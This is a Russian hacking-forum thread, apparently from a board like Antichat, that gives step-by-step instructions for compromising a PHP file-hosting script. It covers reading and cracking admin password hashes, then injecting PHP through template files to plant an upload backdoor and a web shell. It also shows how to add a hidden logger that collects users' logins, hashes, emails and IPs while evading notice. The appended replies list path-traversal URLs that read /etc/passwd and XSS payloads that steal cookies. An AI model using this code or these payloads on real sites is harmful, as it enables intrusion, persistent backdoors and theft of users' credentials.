Вобщем ошибка этого движка заключается в том, что при указании пути в браузере - название_сайта/users/имя_юзера показывается md5 хеш пароля юзера и его мыло. Вот что из этого можно поиметь: Для начала нужно качнуть хороший словарь для брута и софтину PasswordsPro (например). Главная цель - расшифровать хеш админа (в большенстве случаев ник админа - Admin или admin, стандартный пароль - test). В браузере пишем название_сайта/users/Admin . Расшифровываем хеш............ Логинимся....... Следующая дыра заключается в том что можно самостоятельно (если права позволяют) вставлять любой код в страницу с сайтом. для этого под админом заходим в настройки сайта (configure.php), выбираем любой файл из списка: footer.htm header.htm info.htm mailinfo.htm далее откроется окно редактирования. здесь можете писать все что душе вздумается. Главное знание PHP. я прописывал следующее: PHP: <? $fp=fopen("languages/ml.php","a+"); $tmp='<?php if ($File&& $File != "none") { copy($File, $File_name); } ?> <FORM ENCTYPE="multipart/form-data" align="center" ACTION="<?php echo"$PHP_SELF"; ?>" METHOD="POST"> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="100000"> <INPUT NAME="File" TYPE="file"> <INPUT TYPE="submit" VALUE="загрузить"> </FORM>'; fputs($fp,$tmp); fclose($fp); ?> После сохранения в директории имя_сайта/languages/ создавался файл ml.php с помощью которого можно заливать файлы на сервер (если сервер поддерживает). после этого нужно сразу вернутся назад и удалить все что писали, а то любой юзер находящийся на сайте будет при заходе на любую страницу делать рефреш коду и он будет выполнятся. Далее я заливал Antichat Shell. Также можно использовать следующий код: PHP: <?php unlink('include/mess.php') ?> <? $fp=fopen("include/mess.php","a+"); $tmp='<?php die("")?>'; fputs($fp,$tmp); fclose($fp); ?> После сохранения возвращяемся назад и вместо этого кода копируем: PHP: <? $fp=fopen("index.php","a+"); $tmp='<?php $win=getenv("windir"); $path=getenv("path"); $ip=getenv("Remote_addr");$fp=fopen ("include/mess.php","a+"); fputs($fp,"\\r\\n$logged_user_name-$enc_user_pass\\t$user_email\\t$ip\\t$win id=$activationcode"); ?>'; fputs($fp,$tmp); fclose($fp); ?> Этим мы создаем: 1. файл в директории /include с названием mess.php; 2. дописываем к странице index.php код который позволяет сохранить информацию о юзере в файл mess.php. там будет ip, хеш и логин. время от времени нужно будет "заглядывать" в файл include/mess.php и очищать его (а то будет палевно когда место будет исчезать). Как это сделать? вот код который нужно прописывать опять же в каком либо из файлов footer.htm header.htm info.htm mailinfo.htm: для удаления файла: PHP: <? unlink ('include/mess.php'); ?> для просмотра нужно либо скопировать файл в какую нибудь директорию с измененным расширением: PHP: <? $file1 = 'include/mess.php'; $file2 = 'include/mess.txt'; copy($file1, $file2); ?> или с помощью шелла просмотреть содержимое этого файла (include/mess.php). Так как пользователь заходит несколько раз то после копирования данных желательно их провести через скрипт: PHP: <?php $file = file('file.txt'); $new = fopen('new.txt','at'); $file = array_unique($file); foreach($file as $string) { fputs($new,$string); } fclose($new); ?> он удаляет повторные строки. Заключение: Это возможно если на сервере установлены соответствующие права. возможна и такая ситуация когда скрипт для заливки файлов на сервер не будет работать. тогда просто берем, открываем файл Antichat Shell.php и копируем его содержимое в один из файлов footer.htm header.htm info.htm mailinfo.htm. После внизу будет находится строка для ввода логина и пароля. Минус в том что это будут видеть все зашедшие, но если вам это нужно (быстро шото замутить на сервере) то валяйте скрипты и сам шел можно скачать от сюда Удачи! и не сильно критикуйте
На самом деле это далеко не все "ошибки" данного скрипта, достаточно заюзать поиск по багтрекам.. да и простые манипуляции с расширением файла вполне проходят.. Имхо тема не раскрыта. +1 за старание.
Добавления: источник http://www.xakep.ru/post/35874 Уязвимость позволяет удаленному злоумышленнику получить содержимое произвольных файлов на целевой системе. Уязвимость существует из-за ошибки в обработке входных данных в параметре «current_dir» сценариями html.php и htm.php. Атакующий может получить содержимое произвольных файлов на целевой системе. Примеры: http://site.gov.pl/upload/viewers/html.php?current_dir=..&filename=[file] http://site.gov.pl/upload/viewers/htm.php?current_dir=..&filename=[file] http://site.gov.pl/upload/viewers/htm.php?current_dir=С:\&filename=program.exe Уязвимость позволяет удаленному пользователю произвести XSS нападение. Удаленный пользователь с привилегиями на загрузку файлов может загрузить произвольный HTML сценарий и выполнить его в контексте безопасности уязвимого сайта. Пример: <IMG SRC="_javascript:alert('hba from all iranian hacker');"> Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и просмотреть произвольные файлы на системе. 1. Уязвимость существует из-за того, что программное обеспечение не обрабатывает должным образом входные данные в параметрах 'currentdir' и 'current_dir'. Удаленный пользователь может с помощью специально сформированного URL, содержащего символы обхода каталога, просмотреть произвольные файлы на системе с привилегиями Web сервера. Пример: http://[target]/[path]/viewers/txt.php?currentdir= ../../../../../../../etc/passwd%00 http://[target]/[path]/viewers/txt.php?c urrentdir= ../../../../../../../etc&filename=passwd http://[target]/[path]/viewers/htm.php?current_dir= ../../../../../../../etc/passwd%00 http://[target]/[path]/viewers/ htm.php?current_dir= ../../../../../../../etc&filename=passwd http://[target]/[path]/viewers/html.php?current_dir= ../../../../../../../etc/passwd%00 http://[target]/[pat h]/viewers/html.php?current_dir= ../../../../../../../etc&filename=passwd http://[target]/phpatm/viewers/zip.php?current_dir= ../../../../../../../[filename].zip%00 http://[target]/phpatm/viewers/zip.php?current_dir= ../../../.. /../../..&filename=[filename].zip 2. Межсайтовый скриптинг возможен из-за отсутствия проверки входных данных в некоторых переменных. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. Пример: http://[target]/[path]/viewers/txt.php?font=% 22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http://[target]/[path]/viewers/txt.php?normalfontcolor=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E http:/ /[target]/[path]/viewers/txt.php?mess[31]=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E